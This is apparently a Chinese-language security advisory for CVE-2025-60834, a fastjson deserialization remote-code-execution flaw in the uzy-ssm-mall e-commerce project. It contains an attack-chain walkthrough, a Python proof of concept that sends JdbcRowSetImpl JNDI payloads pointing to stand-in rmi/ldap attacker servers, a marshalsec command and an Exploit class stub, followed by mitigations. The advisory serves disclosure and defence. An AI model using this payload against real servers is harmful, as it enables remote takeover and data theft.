IPBUF安全漏洞报告
English
CVE-2025-60834 CVSS 6.5 中危

CVE-2025-60834:uzy-ssm-mall v1.1.0 fastjson反序列化远程代码执行漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-60834
漏洞类型
反序列化漏洞/远程代码执行(RCE)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
uzy-ssm-mall

相关标签

反序列化漏洞fastjson远程代码执行RCEJNDI注入uzy-ssm-mallJavaSSM框架电商系统中危漏洞

漏洞概述

CVE-2025-60834是uzy-ssm-mall v1.1.0中存在的一个高危反序列化漏洞。该漏洞源于项目使用了存在已知安全风险的fastjson库来处理用户输入数据。fastjson是阿里巴巴开发的一款广泛使用的Java JSON解析库,在早期版本中默认开启了autoType特性,允许攻击者通过精心构造的JSON数据指定任意类进行反序列化操作。攻击者可以利用这一特性,通过构造恶意的JSON payload,触发特定Gadget链(如JdbcRowSet、TemplatesImpl等)的反序列化执行,从而在目标服务器上执行任意命令。该漏洞的CVSS 3.1评分为6.5,属于中危级别,其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需认证(PR:N)和用户交互(UI:N),对机密性和完整性具有低影响。由于该漏洞可导致远程代码执行,攻击者一旦成功利用,可完全控制目标服务器,窃取敏感数据、植入后门、进行内网横向移动等,实际危害远超CVSS评分所反映的中危级别。受影响产品uzy-ssm-mall是一个基于SSM(Spring + Spring MVC + MyBatis)框架的电商商城系统,主要用于学习和教学目的,但其默认配置中包含了存在漏洞的fastjson依赖,使得部署该系统的用户面临严重的安全风险。

技术细节

该漏洞的核心技术原理在于fastjson库的不安全反序列化机制。fastjson在解析JSON数据时,默认情况下会通过autoType功能尝试识别并实例化JSON中@type字段指定的类。攻击者可以构造包含恶意@type字段的JSON数据,指向存在已知利用链的危险类(如com.sun.rowset.JdbcRowSetImpl、com.fasterxml.jackson.databind.node.POJONode等),触发JNDI注入或直接执行恶意代码。

具体利用方式如下:攻击者首先构造一个特殊的JSON字符串,其中@type字段指向JdbcRowSetImpl类,并通过dataSourceName属性指定恶意的RMI或LDAP服务器地址。当fastjson反序列化该JSON数据时,会自动调用JdbcRowSetImpl的setAutoCommit方法,进而触发JNDI查找,连接到攻击者控制的远程服务器。攻击者可以在远程服务器上部署包含恶意Java类的服务,最终在目标服务器上执行任意Java代码,实现远程代码执行。

对于uzy-ssm-mall v1.1.0而言,由于项目使用了存在漏洞的fastjson版本(通常为1.2.24或更早版本,或某些1.2.25-1.2.47之间的版本),且未配置safeMode或适当的反序列化过滤器,导致该漏洞可以被远程利用。攻击者只需向应用暴露的API接口发送精心构造的HTTP请求,即可触发漏洞,整个攻击过程无需任何认证和用户交互。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎、Shodan等工具发现部署了uzy-ssm-mall v1.1.0的目标服务器,识别其暴露的API接口。
STEP 2
步骤2:环境准备
攻击者搭建恶意的JNDI服务器(如使用marshalsec工具),部署包含恶意Java类的HTTP服务,并启动RMI或LDAP监听。
STEP 3
步骤3:构造Payload
攻击者构造包含@type字段的恶意JSON数据,指定JdbcRowSetImpl类,并将dataSourceName指向攻击者控制的JNDI服务器地址。
STEP 4
步骤4:发送攻击请求
攻击者通过HTTP POST请求将恶意JSON数据发送到目标应用的API接口,触发fastjson反序列化操作。
STEP 5
步骤5:触发JNDI注入
fastjson反序列化时调用JdbcRowSetImpl的setter方法,触发JNDI查找请求连接到攻击者的恶意服务器。
STEP 6
步骤6:加载恶意类并执行
目标服务器从攻击者服务器下载并加载恶意Java类,触发静态代码块执行,实现在目标服务器上执行任意命令。
STEP 7
步骤7:后渗透阶段
攻击者获得目标服务器的代码执行权限后,可植入Webshell、窃取敏感数据、进行内网横向移动等进一步攻击活动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL - adjust to the actual endpoint that accepts JSON input target_url = "http://target-host:8080/api/endpoint" # Malicious fastjson deserialization payload using JdbcRowSetImpl + JNDI # This payload triggers JNDI lookup to attacker's malicious server payload = { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://attacker-server:1099/Exploit", "autoCommit": True } # Alternative payload using LDAP protocol ldap_payload = { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker-server:1389/Exploit", "autoCommit": True } # Send the malicious request headers = {"Content-Type": "application/json"} response = requests.post(target_url, data=json.dumps(payload), headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # To complete the attack, the attacker needs to set up a malicious JNDI server # using tools like marshalsec or ysoserial to serve the exploit class: # # java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \ # "http://attacker-server:8080/#Exploit" 1099 # # The Exploit class should contain the malicious code to execute on the target: # public class Exploit { # static { # try { # Runtime.getRuntime().exec("calc.exe"); // or reverse shell command # } catch (Exception e) { # e.printStackTrace(); # } # } # }

影响范围

uzy-ssm-mall v1.1.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)升级fastjson到1.2.83+版本并开启safeMode;2)在应用代码中添加JSON输入过滤器,移除包含@type字段的请求;3)在JVM层面禁用JNDI远程加载功能(通过设置com.sun.jndi.rmi.object.trustURLCodebase=false和com.sun.jndi.ldap.object.trustURLCodebase=false系统属性);4)使用WAF规则拦截包含已知危险类名(如com.sun.rowset.JdbcRowSetImpl)的请求;5)限制应用服务器对外的网络连接,阻止其访问外部RMI/LDAP服务器。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表